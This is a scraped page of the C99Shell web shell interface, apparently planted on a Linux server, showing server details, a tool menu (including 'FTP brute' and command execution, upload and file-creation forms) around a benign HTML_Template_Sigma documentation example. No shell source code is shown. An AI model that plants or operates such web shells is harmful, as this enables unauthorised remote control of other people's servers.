!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/HTML_Template_Sigma/docs/templates/   drwxr-xr-x
Free 9.63 GB of 61.93 GB (15.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     example_1.html (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Sigma example 1: basic variables and blocks

Σtemplate example 1: basic variables and blocks

There are two types of variables in Sigma:

  • local variables: these get cleared after substitution and control the empty/non-empty block logic
  • global variables: these never get cleared and do not influence block's empty status

A block is considered empty if there are no local (to it) variables to substitute and the block does not contain non-empty subblocks.

Unknown variable placeholders and empty blocks are removed by default. This can be toggled in loadTemplateFile() call and there are means to manually control removal of blocks (see example 2).

1. Variable substitution

Set via setVariable(): {var1}, {var2}, {var3}.

Set via setGlobalVariable(): {glob}.

Unknown placeholders to remove: {foo}, {bar}.

2. Empty/nonempty blocks

2.1 Non-empty blocks


I am not empty, because a local variable is substituted: {var_ne_1}.
I am not empty, because I have a non-empty subblock: (subblock: {var_ne_2})

2.2 Empty blocks

I am empty, because here is no variable to substitute: {foo}.
I am not empty, because I have a local variable: {var_e_2},
but subblock is, as he has no local variable of his own: {var_e_2}, {var_e_sub_2}.
I am empty, as I have only a global variable: {var_e_3}, {glob}

3. Local/global difference

Local variables are cleared after substitution, globals are not.

  • {local_1}, {local_2}, {glob}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5302 ]--